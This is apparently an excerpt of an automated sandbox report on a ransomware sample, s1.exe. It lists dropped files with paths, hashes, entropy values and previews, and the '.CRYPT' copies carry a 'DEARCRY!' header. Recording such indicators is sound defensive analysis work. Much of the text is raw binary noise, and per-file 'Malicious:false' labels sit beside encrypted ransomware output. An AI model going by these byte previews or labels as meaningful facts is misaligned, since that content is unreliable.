                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3528
                                                              Entropy (8bit):7.943532608347737
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:93B6CC83BBF769EA3CC5B8B364CB8BA8
                                                              SHA1:8CFA5C67ED14FE7DB3B09D548B4B3E813410C29D
                                                              SHA-256:E7868C84A966C6D35272591820202E24F64D2801C87196A8DEA116E56F10B7D4
                                                              SHA-512:B1445875801B1A849276E2FA23796E6C7F9EC1F077056F06B43E267A6534CEC329E542A49F1CF7C815DAD2C904E2B2CEAC2CB0603F11385A9E53667BD72BFA0F
                                                              Malicious:false
                                                              Preview: DEARCRY!.........0o....a......v..53.ec+..io....@.!$7......rZ.R.hWnN*.........M...|7>da.oDT....eT.!.....&.+.#....t......'..2......]*C.L..(......A.GA..~*....k6...p...1.o...Vx..w....B.g<'.s|.......g.[...../.#bj@.x.6....?v........(..P...A..+....2.w................[.A..h.I.?O.....d.....)....}....-"....]=............Di>j...5...~Q..........Z.?..D'.Ny..L.o....`^W...u.x.....u.)Qlo`.....8.W..............(.}..y..J..V..,Q.{..,.n...D..~...Y%.......t....?K...ac..7n?%..xB...4XI.(.s.[...U...K.?..^U...=.].D....u.?.[.$.ZC..u!..a.4...{....."{.A.U.......Y....)...q..oJ....bon.Z.............'nwQ.~.@C..m..7K...*9.g....F.d.o....&..Z.@.j....e#). mu.;!.`*...."$.n.A.2..s.G#.FeG...[`.X./0.E...H....+{.j../i:..<r.....R.N..x.....B..]}.&.~ e..Hz..q...bS/..|....$..s....5.21..jj.......B..UF..?...U||.y..g.x...,..20PB....D...E.D.|*...v.^..Q?.Rd.9.&.@N.J.....".Q`.3,..jx....d..9.4n..oN..k.c...r.j..xC.eN...z23o.-5.;O.z.....}..E..4H.Q.dB...cuQuL.L%....Y.k..P....m.x
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3185
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:54B64A91C46F04DFEFCE4E6E71DC809E
                                                              SHA1:65B9EFF682D854CBC0A889A9DDAF86439EF7D2FD
                                                              SHA-256:DBEDC291917F0FDEECBAA8A8A9F2C0F631B7F01298FF8DFD4F9690F327139CCF
                                                              SHA-512:5AC70D5DBAEEBD546252CC18D1E56612F51F8A167EB527B02A904410E2C5514B5D9F259F3EFF4E4D73D422218F37225122DF1CD3F9FE3E07FB1D3CE9D8E0187F
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.952090478577764
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CC74C45FC43804AC65B7B9ADA2F4DBDE
                                                              SHA1:1A2D5912DE4FD2B877A5594846BF399733C8E6DD
                                                              SHA-256:D28E34DA43DB415AEECCF98CA1DF0E58ABDA7ACA9F7408D0B5C3FF30C142D76F
                                                              SHA-512:A8BE20DB0C516372AEAFD5ABA9C03BE94C81AA773AF58A1C0440ADF90205DE734153CCBF113D52C31921393FF37445AF2739C784D028F0B1873DE3DE091B4B13
                                                              Malicious:false
                                                              Preview: DEARCRY!....2.P.Us =.].M$..!.U...x...HA^.N#...*;3..Eq.p^.~e..R.].....iZ..%M3....u.^.D..!d..\..3..s.s.-..M.... W.#..806rF...r.?._.4nr'x..q]a*.rve....9.....n...}M.F.O..N+8.........@.sF~.nv.........o.......u..b.y....h.....r..._..z.n*......%..\-.....T."X]......q.......7,.&..az...J...<..8.}{..Q.Q.,...*}.hf....lX...8..eJog.>[.Q...F........>............=.@#...j."r"......y(.....b...v.;....16...|v....;G....Lo....#..=u+}...8.g..w...._<.G.........]..c.$....S.A@.eotC8.......l........(..r.%.R.g..Y.]...)qo..S.}.F............W.s.|....8...v.....SwH...i"..j....f}\..$.!.........nD.b.,...9dx.......m....lj$=..z..._%.....g5.f.]".?. .....2...7.. d ....,.P..9.i.eG..L_..f3:.._...X..P..4.?._..J......F...M%.g....'........[..W..0.......+..P..\...{.dH..........2......~...eJg..M^b..Re.1.....R.qX..YBzZ........J.6.c.yc.y.9.:O.B..E.p.w...Em[.x...w..&.9r^......}.......(.;b..f.O...]YDh..T.......k.K..\..*.awDh:^...{;A..c.>..oi..2wO...Ef;..s.d.V..c.X.S.WZ.x$"....Z
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\ac116a72-b6b1-d558-23f6-10796e634d41.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2669
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E23188EF9CB1A057C46A5F8A2FAB5F18
                                                              SHA1:93DD530653B9583647928B76170500F97034F6A3
                                                              SHA-256:EA2FB239FB27C20EDC87F3F574AA2F1C12D24D5593569712C12168DE04853FCB
                                                              SHA-512:F830C2C85078278B3F99D829587CE891BD8E9B7E472F043AD6926E0C068DCBA833186F8CD718EEB07CD0198A29A69000CB3D1F13A23B48F36E198AF926FA49B8
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\ac116a72-b6b1-d558-23f6-10796e634d41.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2952
                                                              Entropy (8bit):7.936614470027678
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D46866E0E2A967AEF2EAC4409497D8A3
                                                              SHA1:1FE7166114BEAA79CA900253FBFCA35C0932AFF5
                                                              SHA-256:27C5157DE5D95881B91BE67C9A0840051C8847D060E097BBC1BD813C7B47442C
                                                              SHA-512:26C46AA433F6C327126B197EACBE35693F5F84D9B827F4589C701E88A124B9CD533DA9D620C031C1731218820550848651F5D9542F2F6EC9F31D74FF56960EB0
                                                              Malicious:false
                                                              Preview: DEARCRY!....]x..l\Ct?.&.(..S..\...S..;G)^.p...3c2z..]....$}..^m...%....H..zI.6Q....{..O..$......e.+..".f..........M......?...l..8...r.Z..K.t+...\T."...d.6.qO....9.N.KD."l\..s....<E.+.{r..."..zZ....".r*ik^..S5.t@.K$WENj.-.B..$.ki.. ~.T...@A.T..j..b,.=;O..Kh.......m..........n...Me...m.{#.;.:....e....D.r.N............M....R.. 2.....=`......e...`...H,5..Q0.~K.j........At.~.g.S.-..(...)kp..8.(.d.qP.E..o.v.. .Q.M%......T..0.!*..."..'.n%...ed..`.'..F~.LI..I...t|8L..l.K....,.u.........:.fE.+gv.F.O.....}c"..=.01{....z!.!..m...za...g.I.M....A7..0..m.....4..;.'..t....5wp.g*..n.D.%a.l..{D...Y.-..D..L.X..6T..c(k..7O.A%.&....9?.q....."....,E>S+.Qz7....?.a.......+qF&n.l[e.X..d.*9.O9#lH{J.*....^<[.o.c.`.LNy...:.f.V.5..*.?.G.t..... AX5.j;[.h..E....#]..5.R"....J..Kq.e|k...b.).T8....i.kSO...t...:..#j......)..l......p.#...-{l........k..^.....l..+oZ51.%'&u....I.8..L..G:...>Lb.Hpw.dn.....Y...DR.f..`m....B4...|.#.....O...*...Y..ijY..N.m....H.N.02..d...N.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2620
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7824DD2A5B76C4826CC8B34C013E67A4
                                                              SHA1:748073C920451343A5B9562228ADC07DF9FF4714
                                                              SHA-256:E4C023BDF498E617DB7089E21F65EF6845E5F4B352607E153B46CC8BF86D9C77
                                                              SHA-512:62BC84D207F28ED2663884CAC3A1DC3857BAFBC1520EF7088F5F275126DDB10CEBAB059B244BCCF711CDB146CB3AECE491C3E3E58FFBFD2753E846E6D9C4E3EB
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2904
                                                              Entropy (8bit):7.937947168224465
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E287D50676B416706CB9ED9976E27326
                                                              SHA1:092302FE06262CAEEB091BDAB17A0FB668473C76
                                                              SHA-256:53F1D39D4583D534134F835ED39572FC8BD2910500090147A8DABA6B918E3C61
                                                              SHA-512:A062528C2C0DB160C5D4F52BC45E0BFBFC7B6AAC851708DBD01803B0F6EB2ABF047BA9F022D78FBADB1388C630B4631B2A1C878CB00A9D9C0EC075A10A3605B9
                                                              Malicious:false
                                                              Preview: DEARCRY!....]R.~#mL.Y4..... .=_#..kC:....S..q.MG.U.../O.g.5wf9>.}.v..r-.T.YE.^".W....,..!...Ejld....r.O.....KI...Z.\[....(.@yv$wR.O........!{7}..'...9* .........Q..X......"'.....^..Y..([..>z..>M....a..n.a&.4.PNN.`.4C...........O....>...Tj.D]..6....J.S..a.".....<.......o...S.G....n CLU.5@.s..n...Z.%g..*..t......F%.}..h.... ....A.....u...x.#!.Rc........Z._.o..X.>..O.!.;.6~..=cn.h+.u.Y..O.a[i......Y.n........Y'..F.3h..;........e%^...!7m..,.^H....m......;.QI.<.i.....!g.....+|.8(A=OF..{...a.B..M...1O.}<.W.q..fu.c.9.'jJ..j.:...Z..6^)..B.q7....d.\9+..>...)..wD...}n..X..kV..Xr..T.....t......eR_...s...g...r...W.7\.s....T....N...^...`...f)..:..........o.o.LK...}..I...{.N-m../....`\.......R..%...1...D[.j)\..G%.......q..........*5Yp.e.j...mA.v...r..<P.......7.0..-..-.!..bA.......r.W..v........./.N.Q...%.AJv. ....|.Q.Ip*Omw{....).........u^..V.."..>..&.+....Pi....v.....9N6.?.."...,...8.l.Q\.c.".u.Q.A..V.L......X...0..8....\.+c..Z.w..`.$g;.^D....j..;5EX.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\b6126597-8ecb-81b4-8b3a-1430dc2988c1.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2756
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CB50F2B52BB2F8EB1947B1FFA359A2C1
                                                              SHA1:04D5A601789EBDE8953B4E4233BD79425995F3CC
                                                              SHA-256:DC15CBA2DE34B9ECE60F9A3BCEBF7EC2D2BD8DE906720095E696845B7ABC5B49
                                                              SHA-512:B995C63BCB1EC8FDE8C5847294FA69536E331551ACE281BC5F1017AC0DCAD2BB10E5CACF262D917EEB1EF27D5C27BBCB37CA76D0BAF6E857D6FA10179CA4CC01
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\b6126597-8ecb-81b4-8b3a-1430dc2988c1.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3048
                                                              Entropy (8bit):7.933914913519221
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:718A08B85A64F92A59CD133154FCCB2A
                                                              SHA1:B5B8A517782C2FFBCEAD9D98D3E284F14A9F4805
                                                              SHA-256:5FC4AF329CFA398ABE4CC1D4F8960D7F2B4E0EE43CC841B4B6883FDD9FC589D1
                                                              SHA-512:3949AD7862A9A06F83D108751BCDB0D24D7688FD584B06D8FCC6C84A16943F9FF8117859DB9465C1FD48CA6CA5CF4BB7B2FC12F1D009C37C836FFAE34086FD14
                                                              Malicious:false
                                                              Preview: DEARCRY!......1...Oz......!.F...1..0...3..Q7e..K.z..E.%.O..nh...m...5]...}...&..f...v...h......-lmS.~.p.r..!)...I.B.e...f5..(..~...HwJ..i.k...P.c.....oRC...[.l..\7..2....G...MH..i...8`..Y. ....:.Y[.9T..'..h.l.....;....`D......I...%.......`S..oh"^v.k.. .............mi..9VO..7...w.GkC.M...........:E.F..;..Z[w.q.^a.{..vA........y.hG....F.Mn.....p..-....).h.........<;..U....Q,..*.TB...$8e...<..x)..J..0Gd.O;..:...Rs.F...#u...~...v.h...c...l.].vz..swR.......E...2....W......(*....3.a...L.9.H..7-....G/.Z....\.93CLj7.#...R...(.:.M8p....>=..z.;..<.R...:SS...-3..F.....)...s.`.....*.....]u....|*a-p..i.".NE.he..7.Q.v....n..s...h...b....U.m.o.k6..k.....M.$.....w.E....B......G.NX..9...`.....'l.i..s.$.y.<.+.......R0.......=*.629."..g1.!.Q..m.Gmw..q.k...d..I.%.n.>Rt.>..!....w.@..).....c.S..C.H!....l.=..z\,...d.[..t|.....y..xT.%..8E..C^7.\.w...W.....U....:.r...q..3..}...`.T.OHq".lGZ...B..H=bt..Ou...."H.8......_.......V.Z.T..rgV._..O*...r..JRB{.cnB.F.....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2755
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1A183ADCBC88659C2D4AE533665DE13E
                                                              SHA1:2DCAEB7F97CEE4C902E8BF7E815CCFFE010477DC
                                                              SHA-256:2FB84AEA56D8B2FD599E8B9F5C47BF87F86AE4C5C1E7FBC68DF8EADBCAB3A47B
                                                              SHA-512:B2217B478C86BC85CBCB44AD3CF899D541AAFDB3F952A61A2D7CF43BA77D58B1F9B44731FFF1CCFD052CBA9228C7D1CF7192B70D6F2C64C83273B5E6D1AB3882
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\b81d7e70-84e7-b16a-e3d0-1e7aa2f1232d.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3048
                                                              Entropy (8bit):7.930964538698621
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:020E64DE00F8827EE3EF34369A0B9E4D
                                                              SHA1:07BA95E9B8C798D24C9D62813059BD6FD80DA06E
                                                              SHA-256:F731D5858C38975F6D7C96813B144238382FC9E4740E87915BDAB06A148DB934
                                                              SHA-512:61477FEA74BA02F7F9E4FE8DD1FEB882819BC1212D026FD7F8D4CFAF0D660D4837D1C12812DEDC466EBA0FE00AC8B95947A194040E79D1DD2C0885CAF0DD34BC
                                                              Malicious:false
                                                              Preview: DEARCRY!......"..Q...N....?0.).b..3....0.b.r......3[.....D.......B& ......HJ.f.MGI.&f.K.s...D.Y.(..\....<o.k*KFx.T*...s.D.}.....&X:....:.~.a.......b_6..H..T....h@"..3[.N.P\...h$.s.H..dV.DDr&..6.u.P..X8.LA.......B.<....!.5..L.v....'U?....r.C...@.}).D..Cp.-.............nAG...5Z.L.....d[E.-..hf.W..3.I....|.."..X..fw......:....6.r........h...*...un...*.a..+Gt&(.....@B.4.rX..).$.n...H4U.U.+E.*.X...3D.u+W..[.Ln........-?.%t..v..V.T.......{i.4.S......n../|.....U.|....t.g...+......%.*V)...<.....,..*CV.....eh`.2[Ls..I.......o....{..'..G....J.....}._6......3...m.d ...a..0.i..L/.......5.p....5^..#-..^.....C.k.Rw6.>.....9.M.t..C.1.#g.n..-Y......4*.A........N..ep]O.v.....i*..&M./#ak.... ...........:d?....O:?p...p.v.x..C..9...!Zn<...3=...x..w. 0g.eD).......e...X6[...._,..Qb.....=N.X+.\@.h...PQ.3.=4&|G.F....9]?}..Z......f.U......'..=.}2.....n+.......a.....B"B...u.G...C..w..S`.....V;..[` ..U.....Mkx..&.9......b+.wa.8...O.O.8...!.`.....S.m.<..V?_/..W"..}.C
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3538
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9BE0F017EEBA6930F68683D166B6621C
                                                              SHA1:BBCB918E77D6B9DE4FB6943CE9DB7E7BB41ACB0E
                                                              SHA-256:D0932624FD9386705F4390E09A8B30B65EE920FA18C5FEF042479C02E07A40DD
                                                              SHA-512:D1DFF88A264FBC1779426A9AF32DB5CD3255A9CD745D886D7B13A706FA01458BD993A99BD4F5AF74D09E1A75C49FA9EA1CE0F5F9010F478120C73C4F2837BA50
                                                              Malicious:false
